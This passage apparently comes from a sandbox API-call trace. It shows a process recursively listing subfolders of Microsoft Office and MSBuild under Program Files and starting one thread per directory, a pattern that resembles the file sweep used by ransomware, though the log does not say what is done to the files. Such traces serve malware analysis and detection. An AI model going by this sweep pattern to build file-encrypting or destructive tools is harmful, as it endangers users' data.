	[0077.273] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0077.273] wcscmp (_String1="CLIPART", _String2=".") returned 1
	[0077.273] wcscmp (_String1="CLIPART", _String2="..") returned 1
	[0077.273] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733868
	[0077.273] wcscpy (in: _Dest=0x4733868, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.273] wcscat (in: _Dest=0x4733868, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.273] wcscat (in: _Dest=0x4733868, _Source="CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\root\\CLIPART"
	[0077.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610
	[0077.274] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0077.274] wcscmp (_String1="Document Themes 16", _String2=".") returned 1
	[0077.274] wcscmp (_String1="Document Themes 16", _String2="..") returned 1
	[0077.274] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc390
	[0077.274] wcscpy (in: _Dest=0x47bc390, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.274] wcscat (in: _Dest=0x47bc390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.274] wcscat (in: _Dest=0x47bc390, _Source="Document Themes 16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16"
	[0077.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bc390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608
	[0077.275] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0077.275] wcscmp (_String1="Flattener", _String2=".") returned 1
	[0077.275] wcscmp (_String1="Flattener", _String2="..") returned 1
	[0077.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e17888
	[0077.275] wcscpy (in: _Dest=0x2e17888, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.275] wcscat (in: _Dest=0x2e17888, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.275] wcscat (in: _Dest=0x2e17888, _Source="Flattener" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener"
	[0077.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e17888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8
	[0077.276] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fre", cAlternateFileName="")) returned 1
	[0077.276] wcscmp (_String1="fre", _String2=".") returned 1
	[0077.276] wcscmp (_String1="fre", _String2="..") returned 1
	[0077.276] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2dae888
	[0077.276] wcscpy (in: _Dest=0x2dae888, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.276] wcscat (in: _Dest=0x2dae888, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.276] wcscat (in: _Dest=0x2dae888, _Source="fre" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\fre") returned="C:\\Program Files\\Microsoft Office\\root\\fre"
	[0077.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dae888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0
	[0077.277] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0077.277] wcscmp (_String1="Integration", _String2=".") returned 1
	[0077.277] wcscmp (_String1="Integration", _String2="..") returned 1
	[0077.277] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2e171f8
	[0077.277] wcscpy (in: _Dest=0x2e171f8, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.277] wcscat (in: _Dest=0x2e171f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.277] wcscat (in: _Dest=0x2e171f8, _Source="Integration" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Integration") returned="C:\\Program Files\\Microsoft Office\\root\\Integration"
	[0077.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e171f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec
	[0077.278] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0077.278] wcscmp (_String1="Licenses16", _String2=".") returned 1
	[0077.278] wcscmp (_String1="Licenses16", _String2="..") returned 1
	[0077.278] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2e172d8
	[0077.278] wcscpy (in: _Dest=0x2e172d8, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.278] wcscat (in: _Dest=0x2e172d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.278] wcscat (in: _Dest=0x2e172d8, _Source="Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0077.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e172d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0
	[0077.279] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="loc", cAlternateFileName="")) returned 1
	[0077.279] wcscmp (_String1="loc", _String2=".") returned 1
	[0077.279] wcscmp (_String1="loc", _String2="..") returned 1
	[0077.279] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf308
	[0077.279] wcscpy (in: _Dest=0x2daf308, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.279] wcscat (in: _Dest=0x2daf308, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.279] wcscat (in: _Dest=0x2daf308, _Source="loc" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\loc") returned="C:\\Program Files\\Microsoft Office\\root\\loc"
	[0077.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daf308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8
	[0077.280] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0077.280] wcscmp (_String1="mcxml", _String2=".") returned 1
	[0077.280] wcscmp (_String1="mcxml", _String2="..") returned 1
	[0077.280] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733f50
	[0077.280] wcscpy (in: _Dest=0x4733f50, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.280] wcscat (in: _Dest=0x4733f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.280] wcscat (in: _Dest=0x4733f50, _Source="mcxml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml"
	[0077.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0
	[0077.280] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1
	[0077.280] wcscmp (_String1="Office16", _String2=".") returned 1
	[0077.281] wcscmp (_String1="Office16", _String2="..") returned 1
	[0077.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733fb8
	[0077.281] wcscpy (in: _Dest=0x4733fb8, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.281] wcscat (in: _Dest=0x4733fb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.281] wcscat (in: _Dest=0x4733fb8, _Source="Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16") returned="C:\\Program Files\\Microsoft Office\\root\\Office16"
	[0077.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8
	[0077.281] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rsod", cAlternateFileName="")) returned 1
	[0077.281] wcscmp (_String1="rsod", _String2=".") returned 1
	[0077.281] wcscmp (_String1="rsod", _String2="..") returned 1
	[0077.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daeee8
	[0077.282] wcscpy (in: _Dest=0x2daeee8, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.282] wcscat (in: _Dest=0x2daeee8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.282] wcscat (in: _Dest=0x2daeee8, _Source="rsod" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod") returned="C:\\Program Files\\Microsoft Office\\root\\rsod"
	[0077.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daeee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0
	[0077.282] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0077.282] wcscmp (_String1="Stationery", _String2=".") returned 1
	[0077.282] wcscmp (_String1="Stationery", _String2="..") returned 1
	[0077.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2e17348
	[0077.282] wcscpy (in: _Dest=0x2e17348, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.282] wcscat (in: _Dest=0x2e17348, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.282] wcscat (in: _Dest=0x2e17348, _Source="Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery"
	[0077.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e17348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8
	[0077.283] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0077.283] wcscmp (_String1="Templates", _String2=".") returned 1
	[0077.283] wcscmp (_String1="Templates", _String2="..") returned 1
	[0077.283] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e17d58
	[0077.283] wcscpy (in: _Dest=0x2e17d58, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.283] wcscat (in: _Dest=0x2e17d58, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.283] wcscat (in: _Dest=0x2e17d58, _Source="Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Templates") returned="C:\\Program Files\\Microsoft Office\\root\\Templates"
	[0077.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e17d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0
	[0077.284] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 1
	[0077.284] wcscmp (_String1="VFS", _String2=".") returned 1
	[0077.284] wcscmp (_String1="VFS", _String2="..") returned 1
	[0077.284] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daefa8
	[0077.284] wcscpy (in: _Dest=0x2daefa8, _Source="C:\\Program Files\\Microsoft Office\\root" | out: _Dest="C:\\Program Files\\Microsoft Office\\root") returned="C:\\Program Files\\Microsoft Office\\root"
	[0077.284] wcscat (in: _Dest=0x2daefa8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\") returned="C:\\Program Files\\Microsoft Office\\root\\"
	[0077.284] wcscat (in: _Dest=0x2daefa8, _Source="VFS" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\VFS") returned="C:\\Program Files\\Microsoft Office\\root\\VFS"
	[0077.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daefa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac
	[0077.285] FindNextFileW (in: hFindFile=0x2d70840, lpFindFileData=0x2d883a8 | out: lpFindFileData=0x2d883a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 0
	[0077.285] FindClose (in: hFindFile=0x2d70840 | out: hFindFile=0x2d70840) returned 1
	[0077.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0077.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77cc0) returned 1
	[0077.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47352a0) returned 1

Thread:
	id = 232
	os_tid = 0xdec

	[0076.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2d86f18
	[0076.747] wcscpy (in: _Dest=0x2d86f18, _Source="C:\\Program Files\\Microsoft Office 15\\ClientX64" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\ClientX64") returned="C:\\Program Files\\Microsoft Office 15\\ClientX64"
	[0076.747] wcscat (in: _Dest=0x2d86f18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\ClientX64\\") returned="C:\\Program Files\\Microsoft Office 15\\ClientX64\\"
	[0076.747] wcscat (in: _Dest=0x2d86f18, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office 15\\ClientX64\\*") returned="C:\\Program Files\\Microsoft Office 15\\ClientX64\\*"
	[0076.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4734360
	[0076.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\*", lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70880
	[0076.748] wcscmp (_String1=".", _String2=".") returned 0
	[0076.748] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e8efda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.748] wcscmp (_String1="..", _String2=".") returned 1
	[0076.748] wcscmp (_String1="..", _String2="..") returned 0
	[0076.748] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1
	[0076.748] wcscmp (_String1="IntegratedOffice.exe", _String2=".") returned 1
	[0076.748] wcscmp (_String1="IntegratedOffice.exe", _String2="..") returned 1
	[0076.748] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1
	[0076.748] wcscmp (_String1="OfficeClickToRun.exe", _String2=".") returned 1
	[0076.748] wcscmp (_String1="OfficeClickToRun.exe", _String2="..") returned 1
	[0076.748] FindNextFileW (in: hFindFile=0x2d70880, lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e8efda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e8efda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~1.EXE")) returned 0
	[0076.748] FindClose (in: hFindFile=0x2d70880 | out: hFindFile=0x2d70880) returned 1
	[0076.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734360) returned 1
	[0076.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86f18) returned 1
	[0076.748] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ce0) returned 1

Thread:
	id = 233
	os_tid = 0xd94

	[0076.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d85a78
	[0076.749] wcscpy (in: _Dest=0x2d85a78, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft"
	[0076.749] wcscat (in: _Dest=0x2d85a78, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\"
	[0076.749] wcscat (in: _Dest=0x2d85a78, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\*"
	[0076.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4734360
	[0076.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x4734360 | out: lpFindFileData=0x4734360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70880
